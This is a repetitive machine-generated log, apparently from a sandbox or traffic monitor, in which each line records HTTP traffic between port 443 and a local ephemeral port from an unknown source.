Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
